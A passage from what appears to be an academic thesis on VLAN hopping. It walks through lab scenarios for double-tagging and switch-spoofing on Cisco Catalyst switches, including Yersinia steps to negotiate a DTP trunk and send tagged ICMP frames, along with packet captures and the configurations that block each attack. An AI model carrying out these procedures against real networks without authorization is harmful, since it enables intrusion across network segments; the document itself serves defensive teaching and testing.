    Type: IP (0x0800) 
    Trailer: 0000 
Internet Protocol, Src: 192.168.1.1, Dst: 192.168.2.1 
Internet Control Message Protocol 
Figure 4.9 – ICMP request captured on host X 
 
 
Frame 8 (66 bytes on wire, 66 bytes captured) 
Ethernet II, Src: 00:0c:29:fd:61:12, Dst: 00:d0:59:1a:13:dc  
802.1Q Virtual LAN 
    111. .... .... .... = Priority: 7 
    ...0 .... .... .... = CFI: 0 
    .... 0000 0000 0001 = ID: 1 
    Type: 802.1Q Virtual LAN (0x8100) 
802.1Q Virtual LAN 
    111. .... .... .... = Priority: 7 
    ...0 .... .... .... = CFI: 0 
    .... 0000 0000 0010 = ID: 2 
    Type: IP (0x0800) 
Internet Protocol, Src: 192.168.1.1, Dst: 192.168.2.1 
Internet Control Message Protocol 
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4.3.2 Scenario 4.2 – Double-Tagging Attack in Secured 
Network 
Scenario presented in this section follows the same procedure as the previous one. However, 
now the misconfiguration in native VLAN assignment has been corrected and new trunking 
VLAN has been created. No changes in topology have been made since the previous scenario. 
4.3.2.1 Device Configuration 
Instead of replacing the 802.1Q protocol with Cisco’s proprietary ISL, more flexible solution 
has been chosen in order to secure both switches. The basis of chosen solution is in adding new 
VLAN and assigning it to the trunk as its native VLAN. This ensures that there isn’t any VLAN 
used as an access and at the same time as a native VLAN for any trunk in the network (in this 
case the VLAN 3). No other changes in configuration of switches are necessary. Figure 4.12 
displays fragment of configuration file of Switch 1. 
 
 
Configuration of remaining devices is unchanged (see previous scenario). 
4.3.2.2 Scenario Progress Analysis 
The scenario is divided into two steps: 
1. Host X located in VLAN 1 builds 802.1Q ICMP request packet in Yersinia utility. 
Figure 4.12 – Configuration of Switch 1 
 
 
SW#show running-config 
... 
! 
interface FastEthernet0/12 
 description TRUNK 
 switchport trunk native vlan 3 
 switchport mode trunk 
! 
... 
 
Figure 4.11 – ICMP request captured on host Y 
 
 
Frame 5 (60 bytes on wire, 60 bytes captured) 
Ethernet II, Src: 00:0c:29:fd:61:12, Dst: 00:d0:59:1a:13:dc  
Internet Protocol, Src: 192.168.1.1, Dst: 192.168.2.1  
Internet Control Message Protocol 
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2. This packet is sent throughout the network, but doesn’t even get to the second switch. 
Step 1: Creating the Packet 
Creation of the packet follows the same steps as in the previous scenario. 
Step 2: Sending and Capturing the Packet 
The attacker sends created packet just like in previous scenario. However this time the 
decapsulation process is different. 
Figure 4.13 shows the header of the packet as captured on SPAN port configured on Switch 2. 
In contrast to Figure 4.10, this packet has two tags which means that the first tag hasn’t been 
removed before forwarding it out the trunk port (the native VLAN and access VLAN were 
different). 
 
 
List of packets captured on host Y doesn’t contain the ICMP request because it hasn’t reached 
its target. As the packet reached Switch 2 with two tags, it was dropped because there was no 
such host located in VLAN 1 attached to the switch. The attack wasn’t, therefore, successful 
and the configuration is correct. 
Figure 4.13 – ICMP request captured on SPAN port 
 
 
Frame 15 (66 bytes on wire, 66 bytes captured) 
Ethernet II, Src: 00:0c:29:fd:61:12, Dst: 00:d0:59:1a:13:dc  
802.1Q Virtual LAN 
    111. .... .... .... = Priority: 7 
    ...0 .... .... .... = CFI: 0 
    .... 0000 0000 0001 = ID: 1 
    Type: 802.1Q Virtual LAN (0x8100) 
802.1Q Virtual LAN 
    111. .... .... .... = Priority: 7 
    ...0 .... .... .... = CFI: 0 
    .... 0000 0000 0010 = ID: 2 
    Type: IP (0x0800) 
Internet Protocol, Src: 192.168.1.1, Dst: 192.168.2.1  
Internet Control Message Protocol 
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5 Switch-Spoofing Attack 
The last attack analyzed in this document is considered to be another technique for performing 
VLAN hopping. It is called Switch-Spoofing and is primarily used in environments, where 
dynamic trunking is required. 
An attacker connects to a switch and tries to convince it, that he is a new regular switching 
device joining the network. Using specific protocol, he establishes a partnership and his line 
previously carrying traffic of one VLAN only, turns into a trunk capable of transporting data 
from any VLAN the hacker needs. The attack also allow the hacker to establish even a 
bidirectional communication with host located in different VLAN and talk to it without any L3 
device as if there were no security restrictions. 
This attack is similar to the Double-Tagging described in previous chapter. As it only gains 
from incorrect configuration of ports on a switch, there hasn’t been developed any direct 
security mechanism or feature and is only up to an administrator to pay sufficient attention 
when deploying network devices. Main difference between these two attacks is that it is much 
less complex and does not require so many prerequisites. As it is more powerful and works in 
single-switched network, it is likely to be used instead of the Double-Tagging method. 
Unfortunately, using Cisco Catalyst switches in default configuration is a walking time-bomb 
and the configuration should be corrected as soon as possible. 
5.1 Principles of the Operation 
The alpha and the omega of the attack are hidden in the trunking mode of a port on a switch. If 
the port leading to a hacker is configured to allow other side of the line establish a trunk using 
DTP frames, the hacker is able to send a single-tagged (if using 802.1Q) or single-encapsulated 
(in case of ISL) frames of any VLAN. 
5.1.1 Trunking Modes 
According to (10), a switch port can be configured in various modes (see Table 5.1). Some of 
these modes don’t support trunking at all, some of them support trunking partially through the 
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use of dynamic negotiation and some force the port to be a trunk regardless of configuration of 
the opposite side. 
 
 
The default mode of port depends on switch model and running IOS. By default, all ports on 
Catalyst 2950 switches (used also in scenarios) work in “dynamic desirable” mode. If this mode 
isn’t explicitly changed, switch spoofing will work. 
5.1.2 Trunk Establishment 
If a non-switch host connects to a “dynamic auto”, “dynamic desirable” or “access” port on a 
switch, all packets it sends are automatically assigned to predefined access VLAN 
(administratively configured) and forwarded within that VLAN only. This assignment is done 
by the switch and the attacker cannot influence it. 
Switch-spoofing attack is based on establishing a trunk link between an attacker and the 
neighboring switch and sending single-tagged/encapsulated packet with VLAN ID of the 
victim’s VLAN. If the trunk hasn’t been established prior to sending a tagged packet, behavior 
explained in section 4.1.3 would probably be noticed or at least the packet would be forwarded 
regardless of the tag within local VLAN only. When the trunk is established, the switch trusts 
the VLAN tag included in every packet and forwards the packet to that VLAN. As these tags 
are generated by the attacker, he is now able to fully control its packet flow. 
Table 5.1 – Switch port modes and their function 
Mode Function Vulnerable 
Dynamic Auto Behaves like access port until DTP request from 
neighboring switch is received. 
Yes 
Dynamic 
Desirable 
Actively tries to establish the trunk using DTP. 
If the neighboring switch doesn’t support 
trunking, the port operates just like if it were in 
access mode. 
Yes 
Trunk Trunking is always on regardless of the 
neighboring switch. 
Yes 
Access Trunking is always off regardless of the 
neighboring switch activity. 
No 
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Main problem of this attack is the trunk-establishment process. If the switch port is configured 
in access mode which doesn’t support trunking at all, the attack will fail. Luckily (for the 
hacker), there are many other modes listed in previous table that support static or dynamic 
trunking. The best mode is “trunk”, when hacker doesn’t have to establish anything. Other 
modes support dynamic establishment through the use of DTP. There is no problem for the 
attacker to emulate DTP establishment process and establish trunk dynamically before the 
communication begins. 
5.1.3 Attack Example 
The attack has two phases. During the first, a trunk with the switch is established. In the second 
phase, the attacker appends the VLAN ID to a frame and sends it to the switch who forwards the 
frame to its destination. 
Attacker
Switch
Step 1
Step 2
ICMPVLAN2
ICMP
Step 3
X
VLAN 1
Target
Access VLAN 1
Y
VLAN 2
Y
VLAN 2
DTP
X
VLAN 1
802.1Q Trunk
V
L
A
N
2
 
 
Let’s have following switch-spoofing example. Host Y and hacker X are connected to one 
switch. The hacker’s victim is host Y. Figure 5.1 illustrates following scenario: 
Figure 5.1 – Switch-Spoofing ICMP example 
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1. The hacker starts the attack by sending DTP request to the switch. The switch port 
is in a vulnerable mode so the switch establishes trunk link with host X. The trunk 
uses 802.1Q encapsulation. 
2. Host X sends tagged ICMP packet with target VLAN ID of 2. 
3. As the port operates in trunking mode, the switch trusts the tag and forwards the 
packet to host Y. 
5.2 Securing the Network 
The success of the attack entirely depends on the trunk link negotiation. If this is done, there is 
no mechanism that can stop a VLAN hopping packet on its way toward the victim. Securing the 
switch is straightforward and the solution to make such attempt fail is to pay attention when 
specifying the mode of all switch ports. The best way is to configure all ports not dedicated to 
trunk to work in “access” mode which disables dynamic trunk negotiation through DTP and 
prevents the network from being penetrated. 
Table 5.2 shows several commands regarding configuration of a switch port (taken from (9)). 
 
 
Table 5.2 – Useful commands against Switch-Spoofing 
Command Description 
Switch(config-if)#switchport mode {access | 
trunk | dynamic} 
Changes current mode of a port. 
Switch#show interface type mod/port switchport Displays information about switch 
port 
Switch#show dtp [interface type mod/port] Displays information about DTP 
state on particular port. 
Switch#debug dtp {aggregation | all | decision 
| events | oserrs | packets | queue | states | 
timers} 
Enables debugging of DTP 
events, states, queues etc. 
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5.3 Attack Implementation 
Scenario 5.1 presents the reader the way, how were the switch, attacking host and the victim 
reacting during the attack in network, where the switch ports were left in their default 
configuration. Results of scenario 5.2 explain how the switch’s configuration was corrected in 
order to prevent the attack and how did the hacker when he was performing the attack. 
Captured packets and full configuration files for both scenarios can be found in Appednix A in 
/scenarios/scenario_5_1 and /scenarios/scenario_5_2 directories. 
5.3.1 Scenario 5.1 – Switch-Spoofing Attack in Unsecured 
Network 
This scenario demonstrates a successful switch-spoofing attack in misconfigured network. Hosts 
X and Y are connected to one Catalyst switch. Host Y – the victim – is assigned to VLAN 2. 
Host X – the hacker – is assigned to VLAN 1. As long as the ports are not explicitly configured 
to work in “access” mode (they are operating in “dynamic desirable” mode by default), host X 
successfully negotiates a trunk with the switch. Later it sends a tagged ICMP echo request 
packet to host Y. Although there is no inter-VLAN routing available, this packet hops between 
VLANs and successfully reaches the victim. 
5.3.1.1 Topology Diagram 
There are two hosts and one switch used in this scenario. Host X is the attacker, host Y the 
victim. Topology diagram illustrated on Figure 5.2 displays information about used ports and 
addressing schema.  
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5.3.1.2 Device Configuration 
Host Y 
In this scenario, host Y is a workstation running Microsoft Windows XP operating system with 
Service Pack 2. Wireshark serves as a network protocol analyzer. LAN interface is configured 
with static IP according to the topology diagram. No other services are in use. 
Host X 
Host X is a workstation running Ubuntu 7.10 operating system. Capturing of packets is 
performed by Tcpdump running in the background. 
In scenario 4.1, the Yersinia utility has been introduced. As long as it is capable of creating 
single-tagged 802.1Q frames, it suits the testing needs in this scenario too and no additional 
tools are required. 
Configuration of IP address assignment is static.  
The Switch 
The switching device is the Cisco Catalyst 2950 (Switch 1 in Scenarios 4.1 and 4.2) with 
operating system Cisco IOS version 12.1(22). 
According to the topology diagram, two VLANs are used. Ports 1 to 6 are associated with 
VLAN 1 (by default) and ports 7 to 12 to VLAN 2 which has been created during the 
Figure 5.2 – Topology diagram 
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configuration process. The administrative mode of the ports is left “dynamic desirable” (the 
default one) and it is possible, therefore, to negotiate the trunk link using DTP. The DTP 
debugging of queues and states has been enabled. 
Fragments of configuration are shown on Figure 5.3. For full configuration see Appednix A. 
 
 
5.3.1.3 Scenario Progress Analysis 
The scenario is divided into these steps: 
1. The attacker negotiates 802.1Q trunk with the switch using DTP. 
2. Special tagged ICMP echo request packet is sent by the attacker to victim. 
Step 1: Negotiating the Trunk 
Host X issues several DTP frames and negotiates the trunk with 802.1Q encapsulation. 
Step 1.1: Yersinia utility is started from command line issuing yersinia –I command. After 
the start, the protocol mode is changed to DTP using the G key. 
As mentioned earlier, in top of the screen, Yersinia displays miscellaneous information gathered 
from sent and received packets. As long as the switch port is in “dynamic desirable” mode, the 
Figure 5.3 – Configuration of the switch 
 
 
Switch#show running-config 
... 
! 
hostname Switch 
! 
... 
interface FastEthernet0/1 
 description HOST_X 
! 
interface FastEthernet0/2 
! 
... 
! 
interface FastEthernet0/7 
 description HOST_Y 
 switchport access vlan 2 
! 
interface FastEthernet0/8 
 switchport access vlan 2 
! 
... 
64 
 
switch is periodically transmitting DTP frames to the attacker. Figure 5.4 displays information 
about port mode gathered from DTP packets before the attack starts. Notice the 
operational/administrative mode of the port in “Status” column.  
 
 
The negotiation process is started with specific field values of DTP packet (Figure 5.5). From 
the list of possible attacks (the X key), option 1 - “enabling trunking” is selected and the rest of 
the operation is handled automatically by Yersinia. 
 
 
Yersinia emulates “dynamic desirable” mode and sends three equal DTP frames to the switch 
(one is enough to do the change). When the first frame is received, the operational mode of the 
port changes from “access” to “trunk”, which is indicated by new line in top of the screen (see 
the last line on Figure 5.6). 
 
 
As the DTP debugging has been enabled, the change is also displayed in debugging information 
similar to that on Figure 5.7. The second line shows the source and the last line the final state. 
Figure 5.6 – Successful trunk negotiation 
 
 
Figure 5.5 – Default DTP fields 
 
 
Figure 5.4 – Port mode detected from DTP packets 
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Step 1.2: New port mode has been verified on the switch. Output from the switch regarding 
mode of port FastEthernet 0/1 is shown on Figure 5.8. Notice current operational mode. It is in 
“trunk” mode which means that the negotiation process was successful. 
 
 
Step 2: Creating, Sending and Capturing the Packet 
The ICMP packet is created and sent by host X. As it is tagged with one 802.1Q tag, the switch 
forwards the packet to host Y. 
Step 2.1: Special ICMP echo request packet is created in a similar way to scenario 4.1. 
Yersinia’s protocol mode is changed to 802.1Q and packet fields are filled with valid values 
(Figure 5.9). As this time the packet is only single-tagged, the VLAN field is set to VLAN of 
the target – host Y (in double tagging attack, this VLAN is the VLAN of the attacker). Second 
tag is ignored.  
Figure 5.8 – New port mode 
 
 
 
Switch#show interface fastEthernet 0/1 switchport 
Name: Fa0/1 
Switchport: Enabled 
Administrative Mode: dynamic desirable 
Operational Mode: trunk 
Administrative Trunking Encapsulation: dot1q 
Operational Trunking Encapsulation: dot1q 
Negotiation of Trunking: On 
Access Mode VLAN: 1 (default) 
Trunking Native Mode VLAN: 1 (default) 
Voice VLAN: none 
... 
Figure 5.7 – DTP state transitions (debug dtp state, debug dtp queue) 
 
 
01:05:57: DTP-queue:Fa0/1:Queuing DTP packet 
01:05:57: DTP-state:Fa0/1:Starting state transition from state S2:ACCESS, 
event 2b:PKT TO TRK ../dyntrk/dyntrk_fsm.c:631 
01:05:57: DTP-state:Fa0/1:Executing action 4 
01:05:57: DTP-state:Fa0/1:Ending state transition to state S3:NT-DTP 
... 
01:06:00: DTP-state:Fa0/1:Starting state transition from state S3:NT-DTP, 
event 6b:TN EXP TRK 
01:06:00: DTP-state:Fa0/1:Executing action 8 
01:06:00: DTP-state:Fa0/1:Ending state transition to state S6:TRUNK 
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Step 2.2: After the packet has been crafted, it is sent using the X key and by choosing option 0 – 
“sending 802.1Q packet”. 
Output from Tcpdump on host X contains the packet under number 175. The header of the 
packet is shown on Figure 5.10. 
 
 
The success of the attack is indicated by the content of frame number 91 in list of packets 
captured on host Y (Figure 5.10). It is the untagged ICMP echo request sent from host X. 
 
 
5.3.2 Scenario 5.2 – Switch-Spoofing Attack in Secured 
Network 
This scenario is the copy of previous one and proofs, that only one command from Table 5.2 
can prevent the attack. The attacker located in VLAN 1 wants to send packet to victim in VLAN 
2. He tries to use the Switch-Spoofing attack, but fails because of the correct configuration of 
the switch. There haven’t been any changes in topology since previous scenario. 
Figure 5.11 – ICMP echo request captured on host Y 
 
 
 
Frame 91 (60 bytes on wire, 60 bytes captured) 
Ethernet II, Src: 00:0c:29:fd:61:12, Dst: 00:04:75:ec:c6:b2 
Internet Protocol, Src: 192.168.1.1, Dst: 192.168.2.1 
Internet Control Message Protocol 
Figure 5.10 – Single-tagged ICMP echo request captured on host X 
 
 
 
Frame 175 (62 bytes on wire, 62 bytes captured) 
Ethernet II, Src: 00:0c:29:fd:61:12, Dst: 00:04:75:ec:c6:b2 
802.1Q Virtual LAN 
    111. .... .... .... = Priority: 7 
    ...0 .... .... .... = CFI: 0 
    .... 0000 0000 0010 = ID: 2 
    Type: IP (0x0800) 
Internet Protocol, Src: 192.168.1.1, Dst: 192.168.2.1 
Internet Control Message Protocol 
Figure 5.9 – 802.1Q fields of the ICMP packet 
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5.3.2.1 Device Configuration 
In this scenario, configuration of all devices except the switch has been left unchanged. The 
difference between the configurations of the switch is in one command only. As written in 
section 5.2, in order to secure the network against a Switch-Spoofing attack, the DTP trunk 
negotiation must be disabled by putting all ports that connect client hosts into “access” mode. 
Figure 5.12 shows the fragment of switch configuration regarding ports. 
 
 
5.3.2.2 Scenario Progress Analysis 
The scenario is divided into these steps: 
1. Host X located in VLAN 1 tries to negotiate the trunk link with the switch. As the port 
mode is set to “access”, trunk is not established. 
2. Even though he tries to send the ICMP echo request packet to host Y which never 
reaches its target in VLAN 2. 
Figure 5.12 – Configuration of the switch regarding ports 
 
 
 
Switch#show running-config 
... 
! 
interface FastEthernet0/1 
 description HOST_X 
 switchport mode access 
! 
interface FastEthernet0/2 
 switchport mode access 
! 
... 
! 
interface FastEthernet0/7 
 description HOST_Y 
 switchport access vlan 2 
 switchport mode access 
! 
interface FastEthernet0/8 
 switchport access vlan 2 
 switchport mode access 
! 
... 
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Step 1: Negotiating the Trunk 
Step 1.1: Yersinia is started and switched to DTP packet mode. As the port of the switch is in 
“access” mode, no DTP frames are sent by the switch to host X. Even after few minutes, there is 
no information similar to Figure 5.6. 
Following the procedure from previous scenario, DTP fields are filled with correct values and 
trunk negotiation is initiated. But this time, the result is different. 
Step 1.2: Port mode of the switch has been verified. Output from the switch regarding mode of 
port FastEthernet 0/1 is shown on Figure 5.13. It indicates that the operational mode haven’t 
changed even after Yersenia’s negotiation.  
 
 
 
Step 2: Sending and Capturing the Packet 
As the attacker doesn’t know whether the negotiation was successful or not, the only way to 
find it out is to send a single-tagged ICMP echo request created in Yersinia to host Y. The 
protocol mode is, therefore, changed to 802.1Q and packet fields are filled with valid values. 
After that, the X key displays the list of possible actions and option 0 is chosen to send the 
packet towards host Y. 
As long as the port is operating in “access” mode, the tagged packet is processed on switch just 
like any other tagged communication (for details see the section Attack Prerequisites in the 
Double-Tagging Attack chapter) – it is dropped. The attack failed. 
Figure 5.13 – No change of port mode 
 
 
 
Switch#show interface fastEthernet 0/1 switchport 
Name: Fa0/1 
Switchport: Enabled 
Administrative Mode: static access 
Operational Mode: static access 
Administrative Trunking Encapsulation: dot1q 
Operational Trunking Encapsulation: native 
Negotiation of Trunking: Off 
Access Mode VLAN: 1 (default) 
Trunking Native Mode VLAN: 1 (default) 
Voice VLAN: none 
... 
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6 Conclusion 
Information presented in this thesis has been collected for about one year. During this period, 
the author spent a lot of time reading online documents and trying to understand the 
interconnection between the theory and the practice. As there is no similar analysis available on 
the internet, provided information is very valuable. Scenarios help the reader better understand 
the attacking process and prepares him for real-world situations when quick acting is essential. 
Attack analysis presented in chapter 2 has shown that neither performing ARP Man-in-the-
Middle attack nor securing the network against it is difficult. The attack itself is very powerful 
and does not require any specific preconditions. Sniffing as implemented in laboratory is in 
comparison to injecting or filtering data, which is as easy as the sniffing, harmless. What’s 
more, in case of Ubuntu system, all necessary attacking software can be prepared to be used by 
applying only one command. It is, therefore, very smart to apply described security mechanisms 
and prevent anyone from “getting in the middle”. Enable DHCP Snooping (or create special 
ACL’s) and let Dynamic ARP Inspection inspect ARP frames and react accordingly. 
Although CAM Table Overflow is less powerful than its predecessor, it may pose a security 
threat in networks where sensitive information is sent without any encryption such as IPSec 
tunnels or TLS. Implementations of the attack have shown that even the CAM table of switches 
from prestigious manufacturers is not immune to getting overflown and fills up in few seconds. 
Situation with the attack is similar to ARP Man-in-the-Middle. It neither requires detailed 
knowledge of the network topology nor skillful hacker. The availability of attacking tools even 
raises the danger, but discussed limitation (section 3.2) reduces the risk and also the probability, 
that this attack will be used in a network. Even though, the network should always be prepared 
to handle such attack. In case of more expensive switches, every administrator can use ultimate 
tool – Port Security – which handles this attack without any troubles. If the budget is lower and 
cheaper devices must be utilized, the availability of effective protection is uncertain. 
Most complex and the worse documented attack on the web was Double-Tagging method of 
performing VLAN hopping. Results of both scenarios revealed that there are so many 
preconditions which have to be met that it is very unlikely that the attack will be successful. 
Even if they are met, the undocumented tagged packet processing on Catalyst 2960 and 3560 
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switches prevents the attack from happening. The attack implementation, however, turned out to 
be successful when using Catalyst 2950 switch. Although it is one of older devices, it may still 
be utilized in networks and represent vulnerability. On the other hand, testing three switches is 
not the proof that other switches are not vulnerable too so it is good to pay sufficient attention 
when configuring VLANs. The best way on how to prevent all VLAN hopping attacks is not to 
use VLANs in security context. If this cannot be accomplished, always follow these basic 
recommendations: 
 If 802.1Q is used as the encapsulation protocol on trunks, do not use the same VLAN 
for access and trunking anywhere in the network. If this cannot be achieved, enable 
tagging of native VLAN on each trunk. 
 Do not use default VLAN 1 for anything.  
 Always set ports that are not dedicated for trunking to access mode thus disabling 
possible dynamic trunk establishment. 
The work was done in pure practical environment (during the short term attachment in a 
network company) so the emphasis was put on the reuse of presented information. For this 
reason, the work is primarily dedicated to administrators, network designers and, first of all, to 
the penetration testers, who will be able to repeat the steps in each scenario in order to test the 
security of any network. On the other hand, one can argue that choosing active devices from one 
manufacturer only may seem to deform the results, but testing hardware was not the reason why 
the thesis has been written. The purpose of the scenarios was to show the reader that presented 
threat is not imaginary and as today’s devices often share major parts of their user interface, 
debugging and securing won’t be complicated even on machines different from Cisco. 
Hopefully, this thesis will be further extended by other people in order to cover new attacks and 
finally create collection of expert documents describing every possible attack in far more detail 
than it is described today.  
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 VLAN – Virtual LAN 
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Appendix List 
Appednix A – CD with configuration files and captured packets from all scenarios. 
 
 
